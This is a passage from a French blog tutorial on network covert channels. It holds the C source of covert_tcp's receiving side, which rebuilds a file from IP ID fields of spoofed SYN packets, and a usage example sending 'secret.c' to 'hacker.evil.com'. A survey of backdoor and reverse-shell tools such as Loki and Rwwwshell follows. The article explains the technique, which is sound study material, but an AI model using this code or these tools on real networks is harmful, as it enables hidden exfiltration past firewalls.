18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 *
21 * Portions of this code based on ping.c (c) 1987 Regents of the
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */
26 #include "server.h"
27 int main(int argc, char *argv[]){
28 unsigned int source_host=0,dest_host=0;
29 unsigned short source_port=0,dest_port=80;
30 int ipid=0,file=0;
31 int count;
32 char desthost[80],srchost[80],filename[80];
33 if(geteuid() !=0)
34 {
35 printf("\nYou need to be root to run this.\n\n");
36 exit(0);
37 }
38 if((argc < 5) || (argc > 13))
39 {
40 usage(argv[0]);
41 exit(0);
42 }
43 for(count=0; count < argc; ++count)
44 {
45 if (strcmp(argv[count],"-dest") == 0)
46 {
47 dest_host=host_convert(argv[count+1]);
48 strncpy(desthost,argv[count+1],79);
49 }
50
51 else if (strcmp(argv[count],"-source") == 0)
52 {
53 source_host=host_convert(argv[count+1]);
54 strncpy(srchost,argv[count+1],79);
55 }
56 else if (strcmp(argv[count],"-file") == 0)
57 {
58 strncpy(filename,argv[count+1],79);
59 file=1;
60 }
61 else if (strcmp(argv[count],"-source_port") == 0)
62 source_port=atoi(argv[count+1]);
63 else if (strcmp(argv[count],"-dest_port") == 0)
64 dest_port=atoi(argv[count+1]);
65 }
66 /* check the encoding flags */
67 ipid=1; /* set default encode type if none given */
68
69 if(file != 1)
70 {
71 printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
72 exit(1);
73 }
74
75 if (source_host == 0 && source_port == 0)
76 {
77 printf("You need to supply a source address and/or source port for server mode.\n");
78 exit(1);
79 }
80 if(dest_host == 0)
81 strcpy(desthost,"Any Host");
82 if(source_host == 0)
83 strcpy(srchost,"Any Host");
84 printf("Listening for data from IP: %s\n",srchost);
85
86 if(source_port == 0)
87 printf("Listening for data bound for local port: Any Port\n");
88 else
89 printf("Listening for data bound for local port: %u\n",source_port);
90 printf("Decoded Filename: %s\n",filename);
91 printf("Decoding Type Is: IP packet ID\n");
92 printf("\nServer Mode: Listening for data.\n\n");
93 forgepacket(source_host, dest_host, source_port, dest_port,filename,ipid);
94 exit(0);
95 }
96 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
97 short source_port, unsigned short dest_port, char *filename, int ipid ) {
98 struct recv_tcp
99 {
100 struct iphdr ip;
101 struct tcphdr tcp;
102 char buffer[10000];
103 } recv_pkt;
104 int recv_socket;
105 FILE *output;
106
107 srand((getpid())*(dest_port));
108
109 if((output=fopen(filename,"wb"))== NULL)
110 {
111 printf("I cannot open the file %s for writing\n",filename);
112 exit(1);
113 }
114 while(1)
115 {
116 recv_socket = socket(AF_INET, SOCK_RAW, 6);
117
118 if(recv_socket < 0)
119 {
120 perror("receive socket cannot be open. Are you root?");
121 exit(1);
122 }
123 read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
124 if (source_port == 0)
125 {
126 if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr == source_addr))
127 {
128
129 printf("Receiving Data: %c\n",recv_pkt.ip.id);
130 fprintf(output,"%c",recv_pkt.ip.id);
131 fflush(output);
132 }
133 }
134 else
135 {
136 if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) == source_port))
137 {
138 printf("Receiving Data: %c\n",recv_pkt.ip.id);
139 fprintf(output,"%c",recv_pkt.ip.id);
140 fflush(output);
141 }
142 }
143 close(recv_socket);
144 }
145 fclose(output);
146 }
147 unsigned int host_convert(char *hostname)
148 {
149 static struct in_addr i;
150 struct hostent *h;
151 i.s_addr = inet_addr(hostname);
152 if(i.s_addr == -1)
153 {
154 h = gethostbyname(hostname);
155 if(h == NULL)
156 {
157 fprintf(stderr, "cannot resolve %s\n", hostname);
158 exit(0);
159 }
160 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
161 }
162 return i.s_addr;
163 }
164 void usage(char *progname)
165 {
166 printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
167 filename -source_port port -dest_port port\n\n",
168 progname);
169 printf("-dest dest_ip - Host to send data to.\n");
170 printf("-source source_ip - Host data will be coming FROM.\n");
171 printf("-source_port port - IP source port you want data to appear from. \n");
172 printf(" (randomly set by default)\n");
173 printf("-dest_port port - IP source port you want data to go to. In\n");
174 printf(" SERVER mode this is the port data will be coming\n");
175 printf(" inbound on. Port 80 by default.\n");
176 printf("-file filename - Name of the file to encode and transfer.\n");
177 printf("\nPress ENTER for examples.");
178 getchar();
179 printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com - \
180 source_port 1234 -dest_port 80 -file secret.c\n\n");
181 printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
182 printf("at a time using the default IP packet ID encoding.\n");
183 exit(0);
184 }
[RFC]http://abcdrfc.free.fr/rfc-vf/rfc791.html
[FrameIp]
http://www.frameip.com/enteteip/
Outils
Je vais vous parlez, dans cette section, des différents outils de
covert channel que je connais, de leurs avantages et de leurs défauts,
beaucoup des descriptions de ces outils sont tirées de l'excellent
article [Covert Shell] par J. Christian Smith.
Les outils seront présentés en fonction de leurs ancienneté
(du plus ancien au plus contemporain).
- Loki: Cet outil, présenté dans phrack 49 par Alhambra et
daemon9, utilise le corps des messages ICMP echo request/reply pour mettre
en place une communication bidirectionnelle. Normalement le corps de ces
messages ICMP est utilisé pour la vérification de l'intégrité
des paquets ou encore des informations de temps. Ceci concerne la première
version de Loki. Il y a eut une deuxième version, présentée
dans phrack 51, où l'idée fût prolongée pour
être mise en place dans des paquets UDP camouflés sous forme
de requête DNS. La possibilité de changer de protocole au-vol
a également été implémenté. Une encryption
blowfish et l'échange de clé symétrique/asymétrique
fûrent également implémentés.
- Daemonshell-UDP: Présenter par THC's van Hauser, cet outil utilise
les corps des messages TCP et UDP. L'utilisation du corps de ces protocoles
ne nécessitent pas les droits root, ce qui peut être un avantage.
De plus, ce programme tente de se faire passer pour l'utilitaire vi.
- ICMP backdoor: Réaliser par la team CodeZero, cet outil utilise
le corps des messages ICMP echo reply. Cet outil, contrairement à
Loki, n'est pas intéractif. Par contre, le fait que ce programme
n'utilise pas le padding (remplissage) du paquet ICMP peut prêter
à confusion et le faire passer pour un simple paquet IP inconnus
vu sa taille réduite.
- Rwwwshell: Une autre création de la team THC's van Hauser consistant
en un covert channel dans le protocole HTTP avec une connection renversée,
le client est placer sur la cible et se connecte au serveur. Ceci permet
d'éviter beaucoup de filtres firewall/proxy. Le fonctionnement de
cet utilitaire est simple.
Tout d'abord le client, à interval régulier, se connecte au
serveur (placer sur une autre machine sous le contrôle du hacker)
puis le serveur répond en envoyant les commandes shell au client
et enfin le client renvoie la sortie produite par la commande shell au serveur.
Les données sont uuencodée pour passer inaperçues.
Le problème de cet outil est qu'il appel un script cgi ce qui est
très visible dans les logs du traffic HTTP.
- B0CK: Réaliser par la team s0ftpr0ject, cet outil utilise les messages
IGMP multicast pour caché ses données. La grande innovation
de ce programme est qu'il utilise l'adresse IP source pour cacher les données
: la table ASCII va au maximum jusqu'à 255 tout comme une adresse
IPv4 ce qui nous permet de cacher au minimum 4 caractères dans une
ip. Pour chaque envoie de donnée l'adress IP source change donc ce
qui est tout à fait crédible. Mais l'IP spoofing est une technique
qui fonctionne de moins en moins.
- CCTT: Une réalisation de la team Gray-World. Cet utilitaire permet
de faire du tunneling et du covert channel à haut niveau (SOCK_STREAM
et SOCK_DGRAM). Il s'agit d'un utilitaire "touche à tout" capable
de mettre en place des shell, reverse shell... Pour plus d'informations
allez donc sur le site [CCTT]
- MsnShell: Un outil très intéressant utilisant un protocole
de très haut niveau, MSN. Créé par Wei Zheng, cet utilitaire
s'occupe de mettre en place un shell, lorsqu'une personne s'y connectes,
via un client MSN (MSN Messenger par exemple) et tapes des commandes Linux.
Le principe est très intéressant sachant que souvent dans
le réseau d'une entreprise, les connections de l'intérieur
vers l'extérieur sont interdites sauf pour certains protocoles/ports.
Allez donc voir sur la page de [MsnShell] pour plus
d'informations.
On peut aussi utilisé des outils forgeant des paquets comme Hping,
Scapy, Rafale X etc...
[CovertShell]
http://www.ouah.org/covert_shells.htm
[CCTT]
http://gray-world.net/pr_cctt.shtml
[MsnShell]
http://www.gray-world.net/pr_msnshell.shtml
Conclusion
Les covert channel sont connus par les hackers depuis un moment déjà
: le premier programme rendu publique utilisant un covert channel était
Loki sorti en 1996. Mais ces techniques datent de bien avant la sortie
de cet outil. Et pourtant, ce thème reste toujours d'actualité
et le restera surement pendant un bon moment, à l'inverse il évoluera
de plus en plus, sachant que de plus en plus de protocoles de très
haut niveau (au dessus de HTTP, IRC...) se développent.
J'espère vous avoir éclairer avec cet article sur les covert
channel. Ne connaissant aucun autre article en français sur le
sujet je me suis dit "pourquoi pas" :).
[NPN: pour compiler les code source fournis dans cet article:
gcc -o client client.c
il est impossible de mettre nos données n'importe où dans
le header des paquets sinon ceux-ci risquent de ne pas respecter
la RFC et donc de ne pas être transmis.]
Remerciements: zul et x-faktor qui m'ont bien aider (des fois sans même
s'en rendre compte :)).
Un petit coucou à tous les gens que j'ai croiser depuis que je
m'intéresse au hack/sécurité : Subfr.org, Securi-Corp,
CNC (lol), Degenere-Science.
Flyers.
"Tu imagines si tu étais le roi du monde tout en vivant dans les déchets ? Ce serait une façon de mépriser la société qui te rejètes mais que tu commandes." Kes
No comments:
Post a Comment
Merci de votre commentaire. Celui-ci est en cours de modération.